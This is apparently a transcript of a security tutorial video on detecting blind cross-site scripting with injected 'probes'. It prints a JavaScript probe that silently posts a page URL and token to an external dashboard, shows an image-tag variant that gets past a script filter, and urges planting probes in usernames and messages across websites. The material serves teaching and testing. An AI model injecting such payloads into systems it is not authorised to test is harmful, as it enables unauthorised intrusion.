video transcript

Do you hear that? That's your alert.

What do you do if your alert pops up but you can't see it?

You could be missing out on finding important xss vulnerabilities... a lot more

This is blind xss.

The ingredients for this recipe are HTML, JavaScript and ancient alien technology!

Hello world, I'm Jesse from Chef Secure.

The secret to finding blind xss vulnerabilities is using an ancient alien technology called probes

(simpsons clip) well might as well get it over with! *unzips pants*

Not that kind but these kinds of probes

(alien probes flying clip)

In most cases you can see whether a web page is vulnerable to xss by injecting a payload that alerts you. But what if your payload gets triggered somewhere else on the site where you don't have access like an admin page or even a completely different site that just uses the same data that's stored in the database like your username, or even worse what if a developer releases an entirely new feature your alert pops up for them but it's just ignored like it's no big deal just another bug to completely ignore.

This is a problem!

It's called Blind xss where you're essentially injecting into a web page where you have no direct way of seeing whether or not your attack executed. That is, unless you inject probes that report back to you every single time they run.

If you don't know how exactly to do that perfect. I already created xss probes for you along with a monitoring dashboard so you can uncover the hidden xss vulnerabilities for blind xss. With the probe script our goal is simply to report back whenever it gets executed without stealing any user information or doing anything malicious or potentially illegal because you don't do those kinds of things right?!

Let's first dive deep into the technicals and look at the code that makes up the xss probes to see exactly how it works before we practice using it

(function() {
  var XSS_EVENT_URL = '<%= analytics_events_url %>';

  function sendRequest() {
    var req = new XMLHttpRequest();
    req.open('POST', XSS_EVENT_URL, true);
    req.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
    req.send(JSON.stringify({
      type: 'probe',
      token: '<%= @analytics_token.token %>',
      injection_url: window.location.href
    }));
  }

  sendRequest();
})();

To start off we wrap everything inside an IIFE or Immediately Invoked Function Expression – basically a function that runs automatically. This is a fancy way to isolate the probe so that when it gets injected it runs immediately and doesn't interfere with any other JavaScript code on the web page. Next we set the xss event URL variable to report back to the Chef Secure website so it shows up on your dashboard when it runs. After that we create the send request function that handles sending the request. This request is what contains all the probe data sent back to your dashboard. The next few lines create the background request. We could use the more modern fetch API but older browsers don't support fetch so while our probe uses more ancient technology it's much more reliable for our purposes since we have no idea where our probe will end up. So it's best to use what's most guaranteed to work. Whether using fetch or this, the request gets sent silently in the background without interfering with the web page or ever being seen. We can see that after creating our request object we're posting our data to the xss event URL in Json format, which, as a reminder, is just an easy way to send JavaScript data. And the data we're sending is this: type is our probe the token is your unique token that connects this data back to your personal dashboard followed by the injection URL which lets you see the URL of the web page where your probe was injected. Finally when injected this function gets called to send the request and perform all the work.

So let's see this in action now. Click the link below to open your xss probe dashboard and in separate tabs open the two examples as well so you can follow along.

So here we are on the xss probes dashboard. You see we have a script probe and an image probe zero total events so far zero users reached and zero unique injections for now. If you scroll to the bottom of the page you're going to see why probes are valuable how they relate to Blind xss so you can read that if you want but we're going to take action now and go to the script Probe on the left. There's a little bit of information on the bottom what we're going to do is mouse over the script tag probe and then click it to copy it. It's copied so we're going to go to the first example now. The script injection this may look familiar it's from the first recipe before we inject it I'm going to right click and inspect then select the network tab so we can see what happens in the background when we inject this.

So I'm going to paste it in Click update. You see there's nothing changed on the web page so whatever's going on in the background is completely silent that the user doesn't see – there's no alert popping up. And so there are two requests that happen in the background. The first one is to retrieve the probe and this is the probe code that we went over already. So let's go to the second request now and this contains all the information that we went over before so there's the injection URL the IP address there is the user agent and some additional information to our dashboard. So go back to the dashboard now you see we have an event – there's one total event now, one user reached and one unique injection.

The script probe has found something and so it says the injection URL right here and then if we click on user details and expand that you can see there's the IP address and the user agent. Excellent so far. Go to the second example and try it again because as you know there are sometimes filters involved. Right click and inspect the page select the network tab now paste it in and click update. Now you see there's something going on on this web page so it doesn't appear that it works. There's nothing in the network tab right now so if I right click and inspect the script that I tried to inject we're seeing that the script tags were filtered out.

So our script probe isn't going to work.

So we need a way to bypass this filter and so this goes back to the other recipes for filter bypassing. We know that script tags are often flagged as malicious. XSS filters look at values and either remove them replace them or block them if something seems dangerous. You know a lot of websites know that if somebody tries to inject a script tag they're usually up to no good so we're going to try to inject an image instead.

So we're going to image probe click that code and it's going to copy to the clipboard. All right so it's copied after clicking it. Then paste it in, Click update and that's good news we see that an image tried to load, so let's double check. All right you see the source is set and let's go to the network Tab and you see that it succeeded. Go back to the dashboard now and you see we now have two unique injections, two total events and still one user reached because it's just you doing it to yourself. And so now we see that the image probe does have an event the injection URL isn't complete like it was with the script probe. And this is because we don't have the full power of JavaScript when injecting an image. You could try using event handlers to get some more JavaScript in there but the goal right now is just to find a possibility of injecting some code in the web page. And so this was another success. So compare the pros and cons of each and see how you can use both of them to find more blind xss vulnerabilities.

Now if you want to clear the events I encountered an error. WHOOPS! I'm going to fix that. If you encounter that too when trying to clear your events just refresh the dashboard page try again and it should work as expected.

So not only can these probes help find blind xss vulnerabilities they can also be used as a form of automated xss testing for new and updated features.

For example if you can set the value of your username to the full probe script and it doesn't filter anything out, then even if it doesn't execute on your profile page, because it's properly escaped by the developers, anywhere else your username shows up on the website has a chance, maybe a small chance, of automatically triggering your probe and reporting back to your dashboard.

So think of the many many different ways you can launch probes all across websites. For example direct messages, usernames, form values, URL parameters and so on. You can really just try anything that has a chance of showing up somewhere else on the website or any website. So remember if you want to see what may be hidden in the vast digital unknown, do as the aliens do and probe away, my friends. Probe away.